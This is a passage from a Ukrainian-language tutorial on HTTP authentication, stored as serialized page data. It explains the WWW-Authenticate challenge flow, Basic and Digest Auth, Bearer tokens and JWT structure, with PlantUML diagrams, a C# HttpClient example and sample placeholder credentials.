клієнта",[3352,6297,6298,6303,6306],{},[3373,6299,6300],{},[3321,6301,6302],{},"CSRF",[3373,6304,6305],{},"Вразливий (потребує SameSite\u002Fтокен)",[3373,6307,6308],{},"Не вразливий (header, не cookie)",[3647,6310],{},[3312,6312,6314],{"id":6313},"http-аутентифікація","HTTP-аутентифікація",[3317,6316,6317,6318,6321],{},"Аутентифікація — це підтвердження ",[3321,6319,6320],{},"особи"," клієнта. HTTP пропонує кілька схем, кардинально різних за безпекою та складністю.",[3420,6323,6324],{},[3423,6325,6327],{"className":3425,"code":6326,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nrectangle \"HTTP Authentication Schemes\" #f5f5f5 {\n\n    rectangle \"Basic Auth\\n(RFC 7617)\" as basic #fce4ec {\n        rectangle \"Base64(login:password)\" as b64 #f48fb1\n    }\n\n    rectangle \"Digest Auth\\n(RFC 7616)\" as digest #fff9c4 {\n        rectangle \"MD5\u002FSHA hash + nonce\" as md5 #ffe082\n    }\n\n    rectangle \"Bearer Token\\n(RFC 6750)\" as bearer #e8f5e9 {\n        rectangle \"JWT або opaque token\" as jwt #a5d6a7\n    }\n\n    rectangle \"OAuth 2.0\\n(RFC 6749)\" as oauth #e3f2fd {\n        rectangle \"Access Token\" as at #90caf9\n        rectangle \"Refresh Token\" as rt #90caf9\n        at -[hidden]right-> rt\n    }\n\n    rectangle \"API Key\\n(нестандартна)\" as apikey #f3e5f5 {\n        rectangle \"X-API-Key header\" as xapi #ce93d8\n    }\n}\n\nnote bottom of basic\n  ⚠ ЛИШЕ через HTTPS!\n  Base64 ≠ шифрування.\nend note\n\nnote bottom of bearer\n  ✅ Стандарт для REST API.\n  JWT — самодостатній токен.\nend note\n\nnote bottom of oauth\n  ✅ Делегована авторизація.\n  Не передає пароль.\nend note\n\n@enduml\n",[3430,6328,6329,6333,6337,6341,6345,6350,6354,6359,6364,6368,6372,6377,6382,6386,6390,6395,6400,6404,6408,6413,6418,6423,6428,6432,6436,6441,6446,6450,6454,6458,6463,6468,6473,6477,6481,6486,6491,6496,6500,6504,6509,6514,6520,6525,6530],{"__ignoreMap":3428},[3433,6330,6331],{"class":3435,"line":3436},[3433,6332,3439],{},[3433,6334,6335],{"class":3435,"line":3442},[3433,6336,3445],{},[3433,6338,6339],{"class":3435,"line":3448},[3433,6340,3451],{},[3433,6342,6343],{"class":3435,"line":3454},[3433,6344,3458],{"emptyLinePlaceholder":3457},[3433,6346,6347],{"class":3435,"line":3461},[3433,6348,6349],{},"rectangle \"HTTP Authentication Schemes\" #f5f5f5 {\n",[3433,6351,6352],{"class":3435,"line":3467},[3433,6353,3458],{"emptyLinePlaceholder":3457},[3433,6355,6356],{"class":3435,"line":3473},[3433,6357,6358],{},"    rectangle \"Basic Auth\\n(RFC 7617)\" as basic #fce4ec {\n",[3433,6360,6361],{"class":3435,"line":3479},[3433,6362,6363],{},"        rectangle \"Base64(login:password)\" as b64 #f48fb1\n",[3433,6365,6366],{"class":3435,"line":3484},[3433,6367,5720],{},[3433,6369,6370],{"class":3435,"line":3490},[3433,6371,3458],{"emptyLinePlaceholder":3457},[3433,6373,6374],{"class":3435,"line":3496},[3433,6375,6376],{},"    rectangle \"Digest Auth\\n(RFC 7616)\" as digest #fff9c4 {\n",[3433,6378,6379],{"class":3435,"line":3502},[3433,6380,6381],{},"        rectangle \"MD5\u002FSHA hash + nonce\" as md5 #ffe082\n",[3433,6383,6384],{"class":3435,"line":3508},[3433,6385,5720],{},[3433,6387,6388],{"class":3435,"line":3513},[3433,6389,3458],{"emptyLinePlaceholder":3457},[3433,6391,6392],{"class":3435,"line":3519},[3433,6393,6394],{},"    rectangle \"Bearer Token\\n(RFC 6750)\" as bearer #e8f5e9 {\n",[3433,6396,6397],{"class":3435,"line":3525},[3433,6398,6399],{},"        rectangle \"JWT або opaque token\" as jwt #a5d6a7\n",[3433,6401,6402],{"class":3435,"line":3531},[3433,6403,5720],{},[3433,6405,6406],{"class":3435,"line":3537},[3433,6407,3458],{"emptyLinePlaceholder":3457},[3433,6409,6410],{"class":3435,"line":3542},[3433,6411,6412],{},"    rectangle \"OAuth 2.0\\n(RFC 6749)\" as oauth #e3f2fd {\n",[3433,6414,6415],{"class":3435,"line":3548},[3433,6416,6417],{},"        rectangle \"Access Token\" as at #90caf9\n",[3433,6419,6420],{"class":3435,"line":3554},[3433,6421,6422],{},"        rectangle \"Refresh Token\" as rt #90caf9\n",[3433,6424,6425],{"class":3435,"line":3560},[3433,6426,6427],{},"        at -[hidden]right-> rt\n",[3433,6429,6430],{"class":3435,"line":3565},[3433,6431,5720],{},[3433,6433,6434],{"class":3435,"line":3570},[3433,6435,3458],{"emptyLinePlaceholder":3457},[3433,6437,6438],{"class":3435,"line":3576},[3433,6439,6440],{},"    rectangle \"API Key\\n(нестандартна)\" as apikey #f3e5f5 {\n",[3433,6442,6443],{"class":3435,"line":3582},[3433,6444,6445],{},"        rectangle \"X-API-Key header\" as xapi #ce93d8\n",[3433,6447,6448],{"class":3435,"line":3587},[3433,6449,5720],{},[3433,6451,6452],{"class":3435,"line":3592},[3433,6453,3813],{},[3433,6455,6456],{"class":3435,"line":3598},[3433,6457,3458],{"emptyLinePlaceholder":3457},[3433,6459,6460],{"class":3435,"line":3604},[3433,6461,6462],{},"note bottom of basic\n",[3433,6464,6465],{"class":3435,"line":3610},[3433,6466,6467],{},"  ⚠ ЛИШЕ через HTTPS!\n",[3433,6469,6470],{"class":3435,"line":3615},[3433,6471,6472],{},"  Base64 ≠ шифрування.\n",[3433,6474,6475],{"class":3435,"line":3620},[3433,6476,3534],{},[3433,6478,6479],{"class":3435,"line":3626},[3433,6480,3458],{"emptyLinePlaceholder":3457},[3433,6482,6483],{"class":3435,"line":3632},[3433,6484,6485],{},"note bottom of bearer\n",[3433,6487,6488],{"class":3435,"line":3637},[3433,6489,6490],{},"  ✅ Стандарт для REST API.\n",[3433,6492,6493],{"class":3435,"line":3642},[3433,6494,6495],{},"  JWT — самодостатній токен.\n",[3433,6497,6498],{"class":3435,"line":3895},[3433,6499,3534],{},[3433,6501,6502],{"class":3435,"line":3900},[3433,6503,3458],{"emptyLinePlaceholder":3457},[3433,6505,6506],{"class":3435,"line":5248},[3433,6507,6508],{},"note bottom of oauth\n",[3433,6510,6511],{"class":3435,"line":5273},[3433,6512,6513],{},"  ✅ Делегована авторизація.\n",[3433,6515,6517],{"class":3435,"line":6516},42,[3433,6518,6519],{},"  Не передає пароль.\n",[3433,6521,6523],{"class":3435,"line":6522},43,[3433,6524,3534],{},[3433,6526,6528],{"class":3435,"line":6527},44,[3433,6529,3458],{"emptyLinePlaceholder":3457},[3433,6531,6533],{"class":3435,"line":6532},45,[3433,6534,3645],{},[3654,6536,6538],{"id":6537},"www-authenticate-стандартний-challenge-flow","WWW-Authenticate: стандартний challenge flow",[3317,6540,6541,6542,4197,6545,3670],{},"Перш ніж розглядати схеми, розберемо, як HTTP стандартизує запит і підтвердження автентифікації через заголовки ",[3430,6543,6544],{},"WWW-Authenticate",[3430,6546,6547],{},"Authorization",[3420,6549,6550],{},[3423,6551,6553],{"className":3425,"code":6552,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nparticipant \"Клієнт\" as client #e3f2fd\nparticipant \"Сервер\" as server #e8f5e9\n\n== Запит без автентифікації ==\nclient -> server : GET \u002Fprotected HTTP\u002F1.1\\nHost: api.example.com\n\nserver --> client : HTTP\u002F1.1 401 Unauthorized\\nWWW-Authenticate: Bearer realm=\"api.example.com\"\\nWWW-Authenticate: Basic realm=\"api.example.com\"\n\nnote over client\n  Клієнт бачить 401 і\n  знає, які схеми підтримує сервер.\n  Вибирає Bearer і надсилає токен.\nend note\n\n== Повторний запит з токеном ==\nclient -> server : GET \u002Fprotected HTTP\u002F1.1\\nAuthorization: Bearer eyJhbGc...\n\nserver --> client : HTTP\u002F1.1 200 OK\\n\\n{\"data\": \"...\"}\n\n@enduml\n",[3430,6554,6555,6559,6563,6567,6571,6576,6580,6584,6589,6594,6598,6603,6607,6612,6617,6622,6627,6631,6635,6640,6645,6649,6654,6658],{"__ignoreMap":3428},[3433,6556,6557],{"class":3435,"line":3436},[3433,6558,3439],{},[3433,6560,6561],{"class":3435,"line":3442},[3433,6562,3445],{},[3433,6564,6565],{"class":3435,"line":3448},[3433,6566,3451],{},[3433,6568,6569],{"class":3435,"line":3454},[3433,6570,3458],{"emptyLinePlaceholder":3457},[3433,6572,6573],{"class":3435,"line":3461},[3433,6574,6575],{},"participant \"Клієнт\" as client #e3f2fd\n",[3433,6577,6578],{"class":3435,"line":3467},[3433,6579,3476],{},[3433,6581,6582],{"class":3435,"line":3473},[3433,6583,3458],{"emptyLinePlaceholder":3457},[3433,6585,6586],{"class":3435,"line":3479},[3433,6587,6588],{},"== Запит без автентифікації ==\n",[3433,6590,6591],{"class":3435,"line":3484},[3433,6592,6593],{},"client -> server : GET \u002Fprotected HTTP\u002F1.1\\nHost: api.example.com\n",[3433,6595,6596],{"class":3435,"line":3490},[3433,6597,3458],{"emptyLinePlaceholder":3457},[3433,6599,6600],{"class":3435,"line":3496},[3433,6601,6602],{},"server --> client : HTTP\u002F1.1 401 Unauthorized\\nWWW-Authenticate: Bearer realm=\"api.example.com\"\\nWWW-Authenticate: Basic realm=\"api.example.com\"\n",[3433,6604,6605],{"class":3435,"line":3502},[3433,6606,3458],{"emptyLinePlaceholder":3457},[3433,6608,6609],{"class":3435,"line":3508},[3433,6610,6611],{},"note over client\n",[3433,6613,6614],{"class":3435,"line":3513},[3433,6615,6616],{},"  Клієнт бачить 401 і\n",[3433,6618,6619],{"class":3435,"line":3519},[3433,6620,6621],{},"  знає, які схеми підтримує сервер.\n",[3433,6623,6624],{"class":3435,"line":3525},[3433,6625,6626],{},"  Вибирає Bearer і надсилає токен.\n",[3433,6628,6629],{"class":3435,"line":3531},[3433,6630,3534],{},[3433,6632,6633],{"class":3435,"line":3537},[3433,6634,3458],{"emptyLinePlaceholder":3457},[3433,6636,6637],{"class":3435,"line":3542},[3433,6638,6639],{},"== Повторний запит з токеном ==\n",[3433,6641,6642],{"class":3435,"line":3548},[3433,6643,6644],{},"client -> server : GET \u002Fprotected HTTP\u002F1.1\\nAuthorization: Bearer eyJhbGc...\n",[3433,6646,6647],{"class":3435,"line":3554},[3433,6648,3458],{"emptyLinePlaceholder":3457},[3433,6650,6651],{"class":3435,"line":3560},[3433,6652,6653],{},"server --> client : HTTP\u002F1.1 200 OK\\n\\n{\"data\": \"...\"}\n",[3433,6655,6656],{"class":3435,"line":3565},[3433,6657,3458],{"emptyLinePlaceholder":3457},[3433,6659,6660],{"class":3435,"line":3570},[3433,6661,3645],{},[3317,6663,6664,6665,3670],{},"Сервер може оголосити кілька схем у відповіді 401. Клієнт обирає схему, яку підтримує, і повторює запит з відповідним заголовком ",[3430,6666,6547],{},[3654,6668,6670],{"id":6669},"basic-authentication","Basic Authentication",[3317,6672,6673,6674,6677,6678,3908],{},"Найпростіша схема. Логін і пароль кодуються у ",[3321,6675,6676],{},"Base64"," і передаються в заголовку ",[3430,6679,6547],{},[3423,6681,6684],{"className":6682,"code":6683,"language":4628},[4626],"alice:s3cr3t_p@ssw0rd\n→ Base64 →\nYWxpY2U6czNjcjN0X3BAc3N3MHJk\n\nAuthorization: Basic YWxpY2U6czNjcjN0X3BAc3N3MHJk\n",[3430,6685,6683],{"__ignoreMap":3428},[4313,6687,6688,6691,6692,6695,6696,6699],{},[3321,6689,6690],{},"Base64 — це НЕ шифрування!"," Будь-хто, хто перехопить заголовок, миттєво декодує логін і пароль командою ",[3430,6693,6694],{},"echo \"YWxpY2U6czNjcjN0X3BAc3N3MHJk\" | base64 -d",". Basic Auth допустимий ",[3321,6697,6698],{},"виключно"," через HTTPS. Ніколи не використовуйте Basic Auth по незашифрованому HTTP.",[3423,6701,6703],{"className":4731,"code":6702,"language":4733,"meta":4734,"style":3428},"using System.Net.Http.Headers;\nusing System.Text;\n\n\u002F\u002F httpbingo.org\u002Fbasic-auth\u002F{user}\u002F{password} — реальна перевірка Basic Auth\n\u002F\u002F Повертає 401 при невірних даних, 200 при правильних\nusing var client = new HttpClient\n{\n    BaseAddress = new Uri(\"https:\u002F\u002Fhttpbingo.org\u002F\")\n};\n\n\u002F\u002F Кодуємо \"alice:secret\" у Base64\nstring credentials = Convert.ToBase64String(\n    Encoding.UTF8.GetBytes(\"alice:secret\")\n);\n\n\u002F\u002F Варіант 1: на рівні клієнта (для всіх запитів)\n\u002F\u002F GET \u002Fbasic-auth\u002Falice\u002Fsecret → перевіряє Base64(\"alice:secret\") у заголовку\nclient.DefaultRequestHeaders.Authorization =\n    new AuthenticationHeaderValue(\"Basic\", credentials);\n\n\u002F\u002F Варіант 2: на рівні одного запиту\nvar request = new HttpRequestMessage(HttpMethod.Get, \"basic-auth\u002Falice\u002Fsecret\");\nrequest.Headers.Authorization =\n    new AuthenticationHeaderValue(\"Basic\", credentials);\n\nHttpResponseMessage response = await client.SendAsync(request);\n\n\u002F\u002F Варіант 3: через NetworkCredential\nvar handler = new HttpClientHandler\n{\n    Credentials = new NetworkCredential(\"alice\", \"secret\")\n};\nusing var credClient = new HttpClient(handler);\n",[3430,6704,6705,6725,6738,6742,6747,6752,6767,6771,6787,6791,6795,6800,6819,6841,6845,6849,6854,6859,6876,6895,6899,6904,6931,6945,6961,6965,6988,6992,6997,7009,7013,7037,7041],{"__ignoreMap":3428},[3433,6706,6707,6709,6711,6713,6715,6717,6719,6721,6723],{"class":3435,"line":3436},[3433,6708,4742],{"class":4741},[3433,6710,4746],{"class":4745},[3433,6712,3670],{"class":4749},[3433,6714,4752],{"class":4745},[3433,6716,3670],{"class":4749},[3433,6718,4770],{"class":4745},[3433,6720,3670],{"class":4749},[3433,6722,5515],{"class":4745},[3433,6724,4755],{"class":4749},[3433,6726,6727,6729,6731,6733,6736],{"class":3435,"line":3442},[3433,6728,4742],{"class":4741},[3433,6730,4746],{"class":4745},[3433,6732,3670],{"class":4749},[3433,6734,6735],{"class":4745},"Text",[3433,6737,4755],{"class":4749},[3433,6739,6740],{"class":3435,"line":3448},[3433,6741,3458],{"emptyLinePlaceholder":3457},[3433,6743,6744],{"class":3435,"line":3454},[3433,6745,6746],{"class":4802},"\u002F\u002F httpbingo.org\u002Fbasic-auth\u002F{user}\u002F{password} — реальна перевірка Basic Auth\n",[3433,6748,6749],{"class":3435,"line":3461},[3433,6750,6751],{"class":4802},"\u002F\u002F Повертає 401 при невірних даних, 200 при правильних\n",[3433,6753,6754,6756,6758,6760,6762,6764],{"class":3435,"line":3467},[3433,6755,4742],{"class":4741},[3433,6757,4882],{"class":3923},[3433,6759,4885],{"class":4811},[3433,6761,4815],{"class":4749},[3433,6763,4818],{"class":3923},[3433,6765,6766],{"class":4745}," HttpClient\n",[3433,6768,6769],{"class":3435,"line":3473},[3433,6770,4843],{"class":4749},[3433,6772,6773,6775,6777,6779,6781,6783,6785],{"class":3435,"line":3479},[3433,6774,4910],{"class":4811},[3433,6776,4815],{"class":4749},[3433,6778,4818],{"class":3923},[3433,6780,4917],{"class":4745},[3433,6782,4895],{"class":4749},[3433,6784,4922],{"class":3926},[3433,6786,4901],{"class":4749},[3433,6788,6789],{"class":3435,"line":3484},[3433,6790,4871],{"class":4749},[3433,6792,6793],{"class":3435,"line":3490},[3433,6794,3458],{"emptyLinePlaceholder":3457},[3433,6796,6797],{"class":3435,"line":3496},[3433,6798,6799],{"class":4802},"\u002F\u002F Кодуємо \"alice:secret\" у Base64\n",[3433,6801,6802,6804,6807,6809,6812,6814,6817],{"class":3435,"line":3502},[3433,6803,3940],{"class":3923},[3433,6805,6806],{"class":4811}," credentials",[3433,6808,4815],{"class":4749},[3433,6810,6811],{"class":4811},"Convert",[3433,6813,3670],{"class":4749},[3433,6815,6816],{"class":4967},"ToBase64String",[3433,6818,5025],{"class":4749},[3433,6820,6821,6824,6826,6829,6831,6834,6836,6839],{"class":3435,"line":3508},[3433,6822,6823],{"class":4811},"    Encoding",[3433,6825,3670],{"class":4749},[3433,6827,6828],{"class":4811},"UTF8",[3433,6830,3670],{"class":4749},[3433,6832,6833],{"class":4967},"GetBytes",[3433,6835,4895],{"class":4749},[3433,6837,6838],{"class":3926},"\"alice:secret\"",[3433,6840,4901],{"class":4749},[3433,6842,6843],{"class":3435,"line":3513},[3433,6844,4976],{"class":4749},[3433,6846,6847],{"class":3435,"line":3519},[3433,6848,3458],{"emptyLinePlaceholder":3457},[3433,6850,6851],{"class":3435,"line":3525},[3433,6852,6853],{"class":4802},"\u002F\u002F Варіант 1: на рівні клієнта (для всіх запитів)\n",[3433,6855,6856],{"class":3435,"line":3531},[3433,6857,6858],{"class":4802},"\u002F\u002F GET \u002Fbasic-auth\u002Falice\u002Fsecret → перевіряє Base64(\"alice:secret\") у заголовку\n",[3433,6860,6861,6864,6866,6869,6871,6873],{"class":3435,"line":3537},[3433,6862,6863],{"class":4811},"client",[3433,6865,3670],{"class":4749},[3433,6867,6868],{"class":4811},"DefaultRequestHeaders",[3433,6870,3670],{"class":4749},[3433,6872,6547],{"class":4811},[3433,6874,6875],{"class":4749}," =\n",[3433,6877,6878,6880,6883,6885,6888,6890,6893],{"class":3435,"line":3542},[3433,6879,5030],{"class":3923},[3433,6881,6882],{"class":4745}," AuthenticationHeaderValue",[3433,6884,4895],{"class":4749},[3433,6886,6887],{"class":3926},"\"Basic\"",[3433,6889,4263],{"class":4749},[3433,6891,6892],{"class":4811},"credentials",[3433,6894,4976],{"class":4749},[3433,6896,6897],{"class":3435,"line":3548},[3433,6898,3458],{"emptyLinePlaceholder":3457},[3433,6900,6901],{"class":3435,"line":3554},[3433,6902,6903],{"class":4802},"\u002F\u002F Варіант 2: на рівні одного запиту\n",[3433,6905,6906,6908,6910,6912,6914,6916,6918,6920,6922,6924,6926,6929],{"class":3435,"line":3560},[3433,6907,4808],{"class":3923},[3433,6909,5443],{"class":4811},[3433,6911,4815],{"class":4749},[3433,6913,4818],{"class":3923},[3433,6915,5450],{"class":4745},[3433,6917,4895],{"class":4749},[3433,6919,5455],{"class":4811},[3433,6921,3670],{"class":4749},[3433,6923,5460],{"class":4811},[3433,6925,4263],{"class":4749},[3433,6927,6928],{"class":3926},"\"basic-auth\u002Falice\u002Fsecret\"",[3433,6930,4976],{"class":4749},[3433,6932,6933,6935,6937,6939,6941,6943],{"class":3435,"line":3565},[3433,6934,5489],{"class":4811},[3433,6936,3670],{"class":4749},[3433,6938,5515],{"class":4811},[3433,6940,3670],{"class":4749},[3433,6942,6547],{"class":4811},[3433,6944,6875],{"class":4749},[3433,6946,6947,6949,6951,6953,6955,6957,6959],{"class":3435,"line":3570},[3433,6948,5030],{"class":3923},[3433,6950,6882],{"class":4745},[3433,6952,4895],{"class":4749},[3433,6954,6887],{"class":3926},[3433,6956,4263],{"class":4749},[3433,6958,6892],{"class":4811},[3433,6960,4976],{"class":4749},[3433,6962,6963],{"class":3435,"line":3576},[3433,6964,3458],{"emptyLinePlaceholder":3457},[3433,6966,6967,6969,6972,6974,6976,6978,6980,6982,6984,6986],{"class":3435,"line":3582},[3433,6968,4952],{"class":4745},[3433,6970,6971],{"class":4811}," response",[3433,6973,4815],{"class":4749},[3433,6975,4960],{"class":3923},[3433,6977,4885],{"class":4811},[3433,6979,3670],{"class":4749},[3433,6981,5484],{"class":4967},[3433,6983,4895],{"class":4749},[3433,6985,5489],{"class":4811},[3433,6987,4976],{"class":4749},[3433,6989,6990],{"class":3435,"line":3587},[3433,6991,3458],{"emptyLinePlaceholder":3457},[3433,6993,6994],{"class":3435,"line":3592},[3433,6995,6996],{"class":4802},"\u002F\u002F Варіант 3: через NetworkCredential\n",[3433,6998,6999,7001,7003,7005,7007],{"class":3435,"line":3598},[3433,7000,4808],{"class":3923},[3433,7002,4831],{"class":4811},[3433,7004,4815],{"class":4749},[3433,7006,4818],{"class":3923},[3433,7008,4838],{"class":4745},[3433,7010,7011],{"class":3435,"line":3604},[3433,7012,4843],{"class":4749},[3433,7014,7015,7018,7020,7022,7025,7027,7030,7032,7035],{"class":3435,"line":3610},[3433,7016,7017],{"class":4811},"    Credentials",[3433,7019,4815],{"class":4749},[3433,7021,4818],{"class":3923},[3433,7023,7024],{"class":4745}," NetworkCredential",[3433,7026,4895],{"class":4749},[3433,7028,7029],{"class":3926},"\"alice\"",[3433,7031,4263],{"class":4749},[3433,7033,7034],{"class":3926},"\"secret\"",[3433,7036,4901],{"class":4749},[3433,7038,7039],{"class":3435,"line":3615},[3433,7040,4871],{"class":4749},[3433,7042,7043,7045,7047,7050,7052,7054,7056,7058,7060],{"class":3435,"line":3620},[3433,7044,4742],{"class":4741},[3433,7046,4882],{"class":3923},[3433,7048,7049],{"class":4811}," credClient",[3433,7051,4815],{"class":4749},[3433,7053,4818],{"class":3923},[3433,7055,4892],{"class":4745},[3433,7057,4895],{"class":4749},[3433,7059,4898],{"class":4811},[3433,7061,4976],{"class":4749},[3654,7063,7065],{"id":7064},"digest-authentication","Digest Authentication",[3317,7067,7068,7069,7072,7073,7076],{},"Digest Auth (RFC 7616) — вдосконалення Basic, де пароль ",[3321,7070,7071],{},"ніколи не передається відкрито",". Замість цього клієнт відповідає на ",[3321,7074,7075],{},"challenge"," сервера хешем.",[3423,7078,7081],{"className":7079,"code":7080,"language":4628},[4626],"1. Клієнт → GET \u002Fprivate\n2. Сервер → 401 WWW-Authenticate: Digest realm=\"example.com\",\n              nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\",\n              qop=\"auth\"\n3. Клієнт обчислює:\n   HA1 = MD5(\"alice:example.com:password\")\n   HA2 = MD5(\"GET:\u002Fprivate\")\n   response = MD5(HA1:nonce:nc:cnonce:qop:HA2)\n4. Клієнт → GET \u002Fprivate\n   Authorization: Digest username=\"alice\",\n     realm=\"example.com\", nonce=\"dcd98b...\",\n     response=\"6629fae49393a05397450978507c4ef1\"\n",[3430,7082,7080],{"__ignoreMap":3428},[3317,7084,7085,7088,7089,7092,7093,7095],{},[3430,7086,7087],{},"nonce"," — одноразове значення від сервера, що запобігає ",[3321,7090,7091],{},"replay attacks",": зловмисник не може повторно використати перехоплену відповідь, бо ",[3430,7094,7087],{}," змінюється. Незважаючи на це, Digest Auth рідко використовується в сучасних API — Bearer Token забезпечує кращу гнучкість.",[3647,7097],{},[3654,7099,7101],{"id":7100},"bearer-token-та-jwt","Bearer Token та JWT",[3317,7103,7104,7107],{},[3321,7105,7106],{},"Bearer Token"," (RFC 6750) — сучасний стандарт аутентифікації у REST API. Клієнт отримує токен після аутентифікації і передає його з кожним запитом:",[3423,7109,7111],{"className":3911,"code":7110,"language":3913,"meta":3428,"style":3428},"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJBbGljZSIsInJvbGVzIjpbInVzZXIiXSwiZXhwIjoxNzQ3NDgwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n",[3430,7112,7113],{"__ignoreMap":3428},[3433,7114,7115,7117,7119],{"class":3435,"line":3436},[3433,7116,6547],{"class":3920},[3433,7118,3908],{"class":3923},[3433,7120,7121],{"class":3926}," Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJBbGljZSIsInJvbGVzIjpbInVzZXIiXSwiZXhwIjoxNzQ3NDgwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n",[3654,7123,7125],{"id":7124},"jwt-структура-та-розшифрування","JWT: структура та розшифрування",[3317,7127,7128,7131,7132,3670],{},[3321,7129,7130],{},"JWT"," (JSON Web Token, RFC 7519) — найпопулярніший формат токену. Три Base64URL-закодовані частини, розділені крапкою: ",[3430,7133,7134],{},"header.payload.signature",[3420,7136,7137],{},[3423,7138,7140],{"className":3425,"code":7139,"language":3427,"meta":3428,"style":3428},"@startuml\nskinparam style plain\nskinparam backgroundColor #ffffff\n\nrectangle \"JWT Token\" #f5f5f5 {\n    rectangle \"Header\\n(Base64URL)\" as header #e3f2fd {\n        rectangle \"{\\n  \\\"alg\\\": \\\"HS256\\\",\\n  \\\"typ\\\": \\\"JWT\\\"\\n}\" as hj #bbdefb\n    }\n    rectangle \"Payload (Claims)\\n(Base64URL)\" as payload #e8f5e9 {\n        rectangle \"{\\n  \\\"sub\\\": \\\"42\\\",\\n  \\\"name\\\": \\\"Alice\\\",\\n  \\\"roles\\\": [\\\"user\\\"],\\n  \\\"exp\\\": 1747480000,\\n  \\\"iat\\\": 1747476400\\n}\" as pj #a5d6a7\n    }\n    rectangle \"Signature\\n(Base64URL)\" as sig #fce4ec {\n        rectangle \"HMACSHA256(\\n  header + '.' + payload,\\n  secret_key\\n)\" as sj #f48fb1\n    }\n\n    header -[hidden]right-> payload\n    payload -[hidden]right-> sig\n}\n\nnote bottom of header\n  Алгоритм підпису.\n  Можна прочитати без ключа!\nend note\n\nnote bottom of payload\n  Claims — твердження.\n  Читається без ключа.\n  Не можна підробити підпис.\nend note\n\nnote bottom of sig\n  Перевірка цілісності.\n  Лише той, хто має ключ,\n  може створити\u002Fперевірити.\nend note\n\n@enduml\n",[3430,7141,7142,7146,7150,7154,7158,7163,7168,7173,7177,7182,7187,7191,7196,7201,7205,7209,7214,7219,7223,7227,7232,7237,7242,7246,7250,7255,7260,7265,7270,7274,7278,7283,7288,7293,7298,7302,7306],{"__ignoreMap":3428},[3433,7143,7144],{"class":3435,"line":3436},[3433,7145,3439],{},[3433,7147,7148],{"class":3435,"line":3442},[3433,7149,3445],{},[3433,7151,7152],{"class":3435,"line":3448},[3433,7153,3451],{},[3433,7155,7156],{"class":3435,"line":3454},[3433,7157,3458],{"emptyLinePlaceholder":3457},[3433,7159,7160],{"class":3435,"line":3461},[3433,7161,7162],{},"rectangle \"JWT Token\" #f5f5f5 {\n",[3433,7164,7165],{"class":3435,"line":3467},[3433,7166,7167],{},"    rectangle \"Header\\n(Base64URL)\" as header #e3f2fd {\n",[3433,7169,7170],{"class":3435,"line":3473},[3433,7171,7172],{},"        rectangle \"{\\n  \\\"alg\\\": \\\"HS256\\\",\\n  \\\"typ\\\": \\\"JWT\\\"\\n}\" as hj #bbdefb\n",[3433,7174,7175],{"class":3435,"line":3479},[3433,7176,5720],{},[3433,7178,7179],{"class":3435,"line":3484},[3433,7180,7181],{},"    rectangle \"Payload (Claims)\\n(Base64URL)\" as payload #e8f5e9 {\n",[3433,7183,7184],{"class":3435,"line":3490},[3433,7185,7186],{},"        rectangle \"{\\n  \\\"sub\\\": \\\"42\\\",\\n  \\\"name\\\": \\\"Alice\\\",\\n  \\\"roles\\\": [\\\"user\\\"],\\n  \\\"exp\\\": 1747480000,\\n  \\\"iat\\\": 1747476400\\n}\" as pj #a5d6a7\n",[3433,7188,7189],{"class":3435,"line":3496},[3433,7190,5720],{},[3433,7192,7193],{"class":3435,"line":3502},[3433,7194,7195],{},"    rectangle \"Signature\\n(Base64URL)\" as sig #fce4ec {\n",[3433,7197,7198],{"class":3435,"line":3508},[3433,7199,7200],{},"        rectangle \"HMACSHA256(\\n  header + '.' + payload,\\n  secret_key\\n)\" as sj #f48fb1\n",[3433,7202,7203],{"class":3435,"line":3513},[3433,7204,5720],{},[3433,7206,7207],{"class":3435,"line":3519},[3433,7208,3458],{"emptyLinePlaceholder":3457},[3433,7210,7211],{"class":3435,"line":3525},[3433,7212,7213],{},"    header -[hidden]right-> payload\n",[3433,7215,7216],{"class":3435,"line":3531},[3433,7217,7218],{},"    payload -[hidden]right-> sig\n",[3433,7220,7221],{"class":3435,"line":3537},[3433,7222,3813],{},[3433,7224,7225],{"class":3435,"line":3542},[3433,7226,3458],{"emptyLinePlaceholder":3457},[3433,7228,7229],{"class":3435,"line":3548},[3433,7230,7231],{},"note bottom of header\n",[3433,7233,7234],{"class":3435,"line":3554},[3433,7235,7236],{},"  Алгоритм підпису.\n",[3433,7238,7239],{"class":3435,"line":3560},[3433,7240,7241],{},"  Можна прочитати без ключа!\n",[3433,7243,7244],{"class":3435,"line":3565},[3433,7245,3534],{},[3433,7247,7248],{"class":3435,"line":3570},[3433,7249,3458],{"emptyLinePlaceholder":3457},[3433,7251,7252],{"class":3435,"line":3576},[3433,7253,7254],{},"note bottom of payload\n",[3433,7256,7257],{"class":3435,"line":3582},[3433,7258,7259],{},"  Claims — твердження.\n",[3433,7261,7262],{"class":3435,"line":3587},[3433,7263,7264],{},"  Читається без ключа.\n",[3433,7266,7267],{"class":3435,"line":3592},[3433,7268,7269],{},"  Не можна підробити підпис.\n",[3433,7271,7272],{"class":3435,"line":3598},[3433,7273,3534],{},[3433,7275,7276],{"class":3435,"line":3604},[3433,7277,3458],{"emptyLinePlaceholder":3457},[3433,7279,7280],{"class":3435,"line":3610},[3433,7281,7282],{},"note bottom of sig\n",[3433,7284,7285],{"class":3435,"line":3615},[3433,7286,7287],{},"  Перевірка цілісності.\n",[3433,7289,7290],{"class":3435,"line":3620},[3433,7291,7292],{},"  Лише той, хто має ключ,\n",[3433,7294,7295],{"class":3435,"line":3626},[3433,7296,7297],{},"  може створити\u002Fперевірити.\n",[3433,7299,7300],{"class":3435,"line":3632},[3433,7301,3534],{},[3433,7303,7304],{"class":3435,"line":3637},[3433,7305,3458],{"emptyLinePlaceholder":3457},[3433,7307,7308],{"class":3435,"line":3642},[3433,7309,3645],{},[3317,7311,7312,7315],{},[3321,7313,7314],{},"JWT Claims"," поділяються на три 